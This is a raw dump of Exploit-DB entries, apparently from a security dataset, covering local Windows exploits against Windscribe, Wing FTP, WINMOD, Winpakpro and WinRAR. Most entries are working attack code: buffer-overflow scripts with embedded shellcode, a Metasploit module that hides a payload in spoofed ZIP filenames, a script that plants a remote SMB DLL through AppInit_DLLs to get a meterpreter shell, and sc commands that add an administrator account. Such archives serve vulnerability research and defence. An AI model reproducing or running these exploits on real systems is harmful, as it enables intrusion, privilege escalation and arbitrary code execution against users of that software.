deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48306
Description: Windscribe 1.83 - 'WindscribeService' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-04-10
Author: MgThuraMoeMyint

Exploit:
# Exploit Title: Windscribe 1.83 - 'WindscribeService' Unquoted Service Path
# Date: 2020-04-10
# Exploit Author: MgThuraMoeMyint
# Vendor Homepage: https://windscribe.com
# Version: v1.83 Build 20
# Tested on: Windows 10, version 1909

In windscribe v1.83 , there is a service via windscribe that every
authenticated user can modify.

C:\Users\mgthura>sc qc WindscribeService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: WindscribeService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Windscribe\WindscribeService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : WindscribeService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

That shows that running as Local System this means that the
BINARY_PATH_NAME parameter can be modified to execute any command on
the system.
I'll change binary_path_name with a command that add a user to
administrators group , so it will be

C:\Users\mgthura>sc config WindscribeService binPath= "net localgroup
administrators pentest /add"
[SC] ChangeServiceConfig SUCCESS

C:\Users\mgthura>sc stop WindscribeService

SERVICE_NAME: WindscribeService
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x4
WAIT_HINT : 0x0

C:\Users\mgthura>sc start WindscribeService
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.

Restarting service will cause the service to fail as the binary path
would not point into the actual executable of the service.
However the command will be executed successfully and the user will be
added to the local administrators group.
Exploit-DB #47818
Description: Wing FTP Server 6.0.7 - Unquoted Service Path
Type: local
Platform: windows
Date: 2019-12-30
Author: Nawaf Alkeraithe

Exploit:
# Exploit Title: Wing FTP Server 6.0.7 - Unquoted Service Path
# Date: 2019-12-30
# Exploit Author: Nawaf Alkeraithe
# Vendor Homepage: https://www.wftpserver.com/
# Version: 6.0.7
# Tested on: Windows 10
# CVE : N/A

# PoC:

C:\Users\user>sc qc "Wing FTP Server"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Wing FTP Server
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Wing FTP
Server\WFTPServer.exe service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wing FTP Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #9299
Description: WINMOD 1.4 - '.lst' File Local Stack Overflow XP SP3 (RET + SEH) (3)
Type: local
Platform: windows
Date: 2009-07-28
Author: corelanc0d3r

Exploit:
#
# Winmod 1.4 (.lst) Local Stack Overflow Exploit (RET overwrite+SEH)
# http://www.software112.com/products/winmod+download.html
#
# Exploit for Windows XP SP3 (en)
#
# by corelan - c0d3r
# Greetings to Saumil and SK
#

my $sploitfile = "c:\\program files\\winmod\\xpl_sp3.lst";

my $buf="\x41" x 500;
$buf=$buf.pack('V',0x76B2D577); 
$buf=$buf."\x41" x (2880-500);
my $nseh = "\xEB\x06\x90\x90";
my $seh=pack('V',0x7C972ECD); 
my $nop = "\x90" x 20;
## win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode="\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41".
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x51\x32\x42\x42\x32\x41".
"\x41\x30\x41\x41\x42\x58\x38\x42\x42\x50\x75\x4b\x59\x4b\x4c\x59".
"\x78\x52\x64\x63\x30\x65\x50\x53\x30\x4e\x6b\x57\x35\x77\x4c\x6c".
"\x4b\x61\x6c\x63\x35\x73\x48\x67\x71\x48\x6f\x6e\x6b\x50\x4f\x45".
"\x48\x6e\x6b\x53\x6f\x61\x30\x73\x31\x38\x6b\x53\x79\x4e\x6b\x66".
"\x54\x6e\x6b\x46\x61\x38\x6e\x30\x31\x6b\x70\x6e\x79\x6e\x4c\x4f".
"\x74\x79\x50\x74\x34\x44\x47\x4f\x31\x59\x5a\x76\x6d\x55\x51\x59".
"\x52\x68\x6b\x4a\x54\x35\x6b\x71\x44\x65\x74\x37\x74\x31\x65\x4a".
"\x45\x6e\x6b\x73\x6f\x44\x64\x55\x51\x4a\x4b\x50\x66\x4c\x4b\x44".
"\x4c\x30\x4b\x6e\x6b\x53\x6f\x37\x6c\x46\x61\x58\x6b\x6c\x4b\x77".
"\x6c\x6e\x6b\x46\x61\x5a\x4b\x4f\x79\x31\x4c\x47\x54\x37\x74\x6a".
"\x63\x74\x71\x59\x50\x70\x64\x6e\x6b\x51\x50\x50\x30\x6e\x65\x4b".
"\x70\x72\x58\x64\x4c\x6c\x4b\x71\x50\x56\x6c\x4e\x6b\x52\x50\x57".
"\x6c\x6c\x6d\x4c\x4b\x63\x58\x73\x38\x5a\x4b\x45\x59\x4e\x6b\x4f".
"\x70\x4c\x70\x35\x50\x43\x30\x63\x30\x4c\x4b\x53\x58\x77\x4c\x73".
"\x6f\x56\x51\x48\x76\x53\x50\x66\x36\x4f\x79\x39\x68\x6f\x73\x39".
"\x50\x61\x6b\x30\x50\x61\x78\x4a\x50\x6c\x4a\x73\x34\x33\x6f\x45".
"\x38\x6d\x48\x49\x6e\x6c\x4a\x46\x6e\x76\x37\x69\x6f\x48\x67\x45".
"\x33\x73\x51\x72\x4c\x71\x73\x63\x30\x41";

$buf = $buf.$nseh.$seh.$nop.$shellcode;

print "[+] Writing exploit file \n";
open(FILE,'>$sploitfile');
print FILE $buf;
close (FILE);
print "[+] Exploit file written : $sploitfile\n";


print "[+] File's name is xpl_sp3.lst\n";

# milw0rm.com [2009-07-28]
Exploit-DB #9221
Description: WINMOD 1.4 - '.lst' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-07-21
Author: hack4love

Exploit:
#!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# WINMOD V 1.4 (.lst File) Local Buffer Overflow Exploit (SEH)
##http://www.software112.com/products/winmod+download.html
# ## easy ##
# Thanks for ELNAMER ELMASRY\EL7ADRANY\DeCo017\ZAX\ASER ELRO7
## this work sooooooooo good
## Tested on: Windows XP Pro SP2 (EN)
##################################################################
my $bof="\x41" x 2880;
my $nsh="\xEB\x06\x90\x90";
my $seh="\x8c\x29\xd3\x74";##EVIL RET
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> HACK4LOVE.LST');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-07-21]
Exploit-DB #9229
Description: WINMOD 1.4 - '.lst' Universal Buffer Overflow (SEH) (2)
Type: local
Platform: windows
Date: 2009-07-22
Author: Dz_Girl

Exploit:
#!/usr/bin/python
#[*] Exploit     :      	WINMOD 1.4 (.lst) Universal Buffer Overflow Exploit (SEH)
#[*] Tested on :   		Xp sp2 fr
#[*] Original exploit :   	http://www.milw0rm.com/exploits/9221
#[*] By : 			Dz_Girl
#[*] Greets to : hisok4 (even if he doesn't know me) & all friends


# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41"
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x51\x32\x42\x42\x32\x41"
"\x41\x30\x41\x41\x42\x58\x38\x42\x42\x50\x75\x4b\x59\x4b\x4c\x59"
"\x78\x52\x64\x63\x30\x65\x50\x53\x30\x4e\x6b\x57\x35\x77\x4c\x6c"
"\x4b\x61\x6c\x63\x35\x73\x48\x67\x71\x48\x6f\x6e\x6b\x50\x4f\x45"
"\x48\x6e\x6b\x53\x6f\x61\x30\x73\x31\x38\x6b\x53\x79\x4e\x6b\x66"
"\x54\x6e\x6b\x46\x61\x38\x6e\x30\x31\x6b\x70\x6e\x79\x6e\x4c\x4f"
"\x74\x79\x50\x74\x34\x44\x47\x4f\x31\x59\x5a\x76\x6d\x55\x51\x59"
"\x52\x68\x6b\x4a\x54\x35\x6b\x71\x44\x65\x74\x37\x74\x31\x65\x4a"
"\x45\x6e\x6b\x73\x6f\x44\x64\x55\x51\x4a\x4b\x50\x66\x4c\x4b\x44"
"\x4c\x30\x4b\x6e\x6b\x53\x6f\x37\x6c\x46\x61\x58\x6b\x6c\x4b\x77"
"\x6c\x6e\x6b\x46\x61\x5a\x4b\x4f\x79\x31\x4c\x47\x54\x37\x74\x6a"
"\x63\x74\x71\x59\x50\x70\x64\x6e\x6b\x51\x50\x50\x30\x6e\x65\x4b"
"\x70\x72\x58\x64\x4c\x6c\x4b\x71\x50\x56\x6c\x4e\x6b\x52\x50\x57"
"\x6c\x6c\x6d\x4c\x4b\x63\x58\x73\x38\x5a\x4b\x45\x59\x4e\x6b\x4f"
"\x70\x4c\x70\x35\x50\x43\x30\x63\x30\x4c\x4b\x53\x58\x77\x4c\x73"
"\x6f\x56\x51\x48\x76\x53\x50\x66\x36\x4f\x79\x39\x68\x6f\x73\x39"
"\x50\x61\x6b\x30\x50\x61\x78\x4a\x50\x6c\x4a\x73\x34\x33\x6f\x45"
"\x38\x6d\x48\x49\x6e\x6c\x4a\x46\x6e\x76\x37\x69\x6f\x48\x67\x45"
"\x33\x73\x51\x72\x4c\x71\x73\x63\x30\x41")

payload = "DZ"
payload += shellcode
payload += "\x41"*(2868-len(shellcode))
payload += "\xE9\xC7\xF4\xFF\xFF"
payload += "\x61"*5
payload += "\xEB\xF4\x41\x41"
payload += "\x1E\x2F\x40\x00"

try:
    out_file = open("exploit.lst","w")
    out_file.write(payload)
    out_file.close()
    print("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-07-22]
Exploit-DB #49690
Description: Winpakpro 4.8 - 'GuardTourService' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-22
Author: Alan Mondragon

Exploit:
# Exploit Title: Winpakpro 4.8 - 'GuardTourService' Unquoted Service Path
# Discovery by: Alan Mondragon
# Discovery Date: 2021-03-16
# Vendor Homepage: https://www.security.honeywell.com/product-repository/winpak
# Software Links : https://www.security.honeywell.com/product-repository/winpak
# WinPackPro
# Tested Version: 4.8 
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro 64 bits
 
# Step to discover Unquoted Service Path: 
 
C:\WINDOWS\system32>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

WIN-PAK Guard Tour Server                                                                                                                   GuardTourService                                              C:\Program Files <x86>\WINPAKPRO\WP GuardTour Service.exe                                                                                   Auto

C:\Users\jorge.irigoyen>sc qc "GuardTourService"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: CtesDurSvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START <DELAYED>
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files <x86>\WINPAKPRO\WP GuardTour Service.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : WIN-PAK Guard Tour Server
        DEPENDENCIAS       : WPDatabaseService
        NOMBRE_INICIO_SERVICIO: LocalSystem
 
#Exploit:
 
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #49691
Description: Winpakpro 4.8 - 'ScheduleService' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-22
Author: Alan Mondragon

Exploit:
# Exploit Title: Winpakpro 4.8 - 'ScheduleService' Unquoted Service Path
# Discovery by: Alan Mondragon
# Discovery Date: 2021-03-16
# Vendor Homepage: https://www.security.honeywell.com/product-repository/winpak
# Software Links : https://www.security.honeywell.com/product-repository/winpak
# WinPackPro
# Tested Version: 4.8 
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro 64 bits
 
# Step to discover Unquoted Service Path: 
 
C:\WINDOWS\system32>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

WIN-PAK ScheduleService                                                                                                                   ScheduleService                                             C:\Program Files <x86>\WINPAKPRO\ScheduleService Service.exe                                                                                   Auto

C:\Users\jorge.irigoyen>sc qc "ScheduleService"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: CtesDurSvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START <DELAYED>
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files <x86>\WINPAKPRO\ScheduleService Service.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : WIN-PAK Schedule Service
        DEPENDENCIAS       : WPDatabaseService
        NOMBRE_INICIO_SERVICIO: LocalSystem
 
#Exploit:
 
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #49692
Description: Winpakpro 4.8 - 'WPCommandFileService' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-22
Author: Alan Mondragon

Exploit:
# Exploit Title: Winpakpro 4.8 - 'WPCommandFileService' Unquoted Service Path
# Discovery by: Alan Mondragon
# Discovery Date: 2021-03-16
# Vendor Homepage: https://www.security.honeywell.com/product-repository/winpak
# Software Links : https://www.security.honeywell.com/product-repository/winpak
# WinPackPro
# Tested Version: 4.8 
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro 64 bits
 
# Step to discover Unquoted Service Path: 
 
C:\WINDOWS\system32>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

WIN-PAK WPCommandFileService                                                                                                                   WPCommandFileService                                           C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe                                                                                   Auto

C:\Users\jorge.irigoyen>sc qc "WPCommandFileService"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: CtesDurSvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START <DELAYED>
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : WIN-PAK Command File Service
        DEPENDENCIAS       : WPDatabaseService
        NOMBRE_INICIO_SERVICIO: LocalSystem
 
#Exploit:
 
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #32752
Description: WinRAR - Filename Spoofing (Metasploit)
Type: local
Platform: windows
Date: 2014-04-08
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WinRAR Filename Spoofing',
      'Description'    => %q{
        This module abuses a filename spoofing vulnerability in WinRAR. The vulnerability exists
        when opening ZIP files. The file names showed in WinRAR when opening a ZIP file come from
        the central directory, but the file names used to extract and open contents come from the
        Local File Header. This inconsistency allows to spoof file names when opening ZIP files
        with WinRAR, which can be abused to execute arbitrary code, as exploited in the wild in
        March 2014
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'chr1x', # Vulnerability discoverer according to OSVDB
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '62610' ],
          [ 'BID', '66383' ],
          [ 'URL', 'http://securityaffairs.co/wordpress/23623/hacking/winrar-zero-day.html'],
          [ 'URL', 'http://an7isec.blogspot.co.il/']
        ],
      'Platform'          => [ 'win' ],
      'Payload'           =>
        {
          'DisableNops' => true,
          'Space' => 4096
        },
      'Targets'        =>
        [
          [ 'Windows Universal', {} ]
        ],
      'DisclosureDate' => 'Sep 28 2009',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('SPOOF', [ true, 'The spoofed file name to show', 'Readme.txt']),
        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])
      ], self.class)

  end

  def exploit
    exe_filename = rand_text_alpha(rand(6) + 1)
    exe_filename << ".exe"

    zip = Rex::Zip::Archive.new
    zip.add_file(exe_filename, generate_payload_exe, nil, nil, datastore['SPOOF'])
    pack = zip.pack

    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(pack)
  end

end
Exploit-DB #22193
Description: WinRAR 2.90/3.0/3.10 - Archive File Extension Buffer Overrun
Type: local
Platform: windows
Date: 2003-01-22
Author: nesumin

Exploit:
source: https://www.securityfocus.com/bid/6664/info

A vulnerability has been discovered in WinRAR. The problem occurs when the affected application opens an archive containing a file with an overly long file extension. 

It has been reported that it is possible for an attacker to exploit this issue to run arbitrary instructions. Commands executed in this manner would be run with the privileges of the vulnerable program.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22193.zip
Exploit-DB #1403
Description: WinRAR 3.30 - 'Filename' Local Buffer Overflow (1)
Type: local
Platform: windows
Date: 2006-01-04
Author: K4P0

Exploit:
/* WinRAR Buffer Overflow 3.30 Exploit
*
* Bug founded by: Vredited By Alpha Programmer & Trap-Set U.H Team
* Exploit made by: K4P0
* Contact: k4p0k4p0@hotmail.com
*/

#include <stdio.h>
#include <windows.h>

int main(void)
{
   char EvilBuff[1024];

   // Normal cmd.exe shellcode.
   char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"
   		      "\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6"
		      "\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
                      "\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3";

   char jmpesp_offset[] = "\x0F\x98\xF8\x77";
   char Prog[1024] = "WinRAR ";

   printf("WinRAR Buffer Overflow 3.30 Exploit\n\n");
   printf("Bug discovered by: Vredited By Alpha Programmer & Trap-Set U.H Team\n");
   printf("Exploit made by: K4P0\n");
   memset(EvilBuff, 0x00, 1024);
   memset(EvilBuff, 0x41, 510);
   strncat(EvilBuff, jmpesp_offset, 1024);
   strncat(EvilBuff, shellcode, 1024);
   strncat(Prog, EvilBuff, 1024);
   printf("\nExploiting...\n");
   system(Prog);
   return 0;
}

// milw0rm.com [2006-01-04]
Exploit-DB #38381
Description: WinRar < 5.30 Beta 4 - Settings Import Command Execution
Type: local
Platform: windows
Date: 2015-10-02
Author: R-73eN

Exploit:
#!/usr/bin/python -w
# Title : WinRar Settings Import Command Execution
# Date : 02/10/2015
# Author : R-73eN
# Tested on : Windows 7 Ultimate
# Vulnerable Versions : Winrar < 5.30 beta 4
# The vulnerability exists in the "Import Settings From File" function.
# Since Settings file of Winrar are saved as a registry file and WinRar executes
# it in an automatic way without checking if it is writing to the Registry keys 
# used by winrar, we can create a specially crafted settings file and we can 
# overwrite registry keys.
# Since we have access to registry there are various ways we could use this to 
# get code execution such as defining "RUN" keys or creating new services etc 
# However the best way to get code execution is using AppInit DLLs
# AppInit DLLs are DLLs that are loaded into any process when it starts. 
# In this case, we can specify a meterpreter DLL payload using a UNC path on
# an SMB server we control and then next time a new process starts we will 
# get a shell.
# Read more about AppInit Dlls : https://support.microsoft.com/en-us/kb/197571
#
# Triggering the vulnerability
# 1) Run this python script.
# 2) Open WinRar
# 3) Click Options
# 4) Click Import/Export
# 5) Import Settings from file
# 6) Select the Specially crafted Settings.reg file
#
# Disclosure Timeline:
# 01/10/2015 - Vendor Contacted POC provided
# 02/10/2015 - Vendor released patch in WinRAR 5.30 beta 4 on  to verify
# presence of [HKEY_CURRENT_USER\Software\WinRAR] or
# [HKEY_CURRENT_USER\Software\WinRAR\
#
#

banner = ""
banner +="  ___        __        ____                 _    _  \n" 
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
print "[+] WinRar Settings Import Command Execution [+]\n"
dll = raw_input("[+] Enter dll location (smb) : ")
dll = dll.replace("\\","\\\\")
print "[+] Writing Contet To Settings.reg [+]"
evil = 'Windows Registry Editor Version 5.00\n\n[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]\n"AppInit_DLLs"="' + dll + '"\n"LoadAppInit_DLLs"=dword:00000001\n'
print evil
f = open("Settings.reg","w")
f.write(evil)
f.close()
print "[+] Settings.reg created successfully [+]"
print "\n https://www.infogen.al/ \n"